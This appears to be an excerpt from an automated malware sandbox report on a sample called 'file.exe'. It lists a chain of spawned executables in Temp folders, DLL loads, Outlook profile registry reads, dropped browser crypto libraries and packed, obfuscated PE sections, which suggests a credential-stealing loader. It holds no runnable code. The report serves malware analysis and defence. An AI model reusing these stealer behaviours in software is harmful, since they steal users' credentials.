Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6532 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIDGDAKFHI.exe "C:\Users\user\DocumentsFIDGDAKFHI.exe"
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe "C:\Users\user~1\AppData\Local\Temp\1009648001\dd3583c805.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe "C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe "C:\Users\user~1\AppData\Local\Temp\1009654001\ef7381e244.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1773056 > 1048576

Source: file.exe

Static PE information: Raw size of tevjzfjr is bigger than: 0x100000 < 0x197000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1924619080.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1924619080.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tevjzfjr:EW;xjqjchyu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tevjzfjr:EW;xjqjchyu:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Unpacked PE file: 28.2.DocumentsFIDGDAKFHI.exe.b20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xecvasfo:EW;hcidpizn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xecvasfo:EW;hcidpizn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 31.2.skotes.exe.80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xecvasfo:EW;hcidpizn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xecvasfo:EW;hcidpizn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 32.2.skotes.exe.80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xecvasfo:EW;hcidpizn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xecvasfo:EW;hcidpizn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Unpacked PE file: 35.2.dd3583c805.exe.350000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lywxyhem:EW;ndczsvwh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lywxyhem:EW;ndczsvwh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Unpacked PE file: 36.2.ff628321ee.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hkhcddam:EW;hshqlxbi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hkhcddam:EW;hshqlxbi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe	Unpacked PE file: 37.2.ef7381e244.exe.80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tevjzfjr:EW;xjqjchyu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tevjzfjr:EW;xjqjchyu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	Unpacked PE file: 39.2.ff628321ee.exe.ca0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hkhcddam:EW;hshqlxbi:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hkhcddam:EW;hshqlxbi:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe0.32.dr	Static PE information: real checksum: 0x1b119c should be: 0x1baef9
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: real checksum: 0x1e13d6 should be: 0x1df2a1
Source: dd3583c805.exe.32.dr	Static PE information: real checksum: 0x43fe2b should be: 0x447c10
Source: random[1].exe.32.dr	Static PE information: real checksum: 0x1cc077 should be: 0x1d1a39
Source: ff628321ee.exe.32.dr	Static PE information: real checksum: 0x1cc077 should be: 0x1d1a39
Source: skotes.exe.28.dr	Static PE information: real checksum: 0x1e13d6 should be: 0x1df2a1
Source: file.exe	Static PE information: real checksum: 0x1b119c should be: 0x1baef9
Source: ef7381e244.exe.32.dr	Static PE information: real checksum: 0x1b119c should be: 0x1baef9
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x43fe2b should be: 0x447c10

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: tevjzfjr
Source: file.exe	Static PE information: section name: xjqjchyu
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name:
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name:
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name: xecvasfo
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name: hcidpizn
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: lywxyhem
Source: random[1].exe.1.dr	Static PE information: section name: ndczsvwh
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.28.dr	Static PE information: section name:
Source: skotes.exe.28.dr	Static PE information: section name: .idata
Source: skotes.exe.28.dr	Static PE information: section name:
Source: skotes.exe.28.dr	Static PE information: section name: xecvasfo
Source: skotes.exe.28.dr	Static PE information: section name: hcidpizn
Source: skotes.exe.28.dr	Static PE information: section name: .taggant
Source: dd3583c805.exe.32.dr	Static PE information: section name:
Source: dd3583c805.exe.32.dr	Static PE information: section name: .idata
Source: dd3583c805.exe.32.dr	Static PE information: section name:
Source: dd3583c805.exe.32.dr	Static PE information: section name: lywxyhem
Source: dd3583c805.exe.32.dr	Static PE information: section name: ndczsvwh
Source: dd3583c805.exe.32.dr	Static PE information: section name: .taggant
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: .idata
Source: random[1].exe.32.dr	Static PE information: section name:
Source: random[1].exe.32.dr	Static PE information: section name: hkhcddam
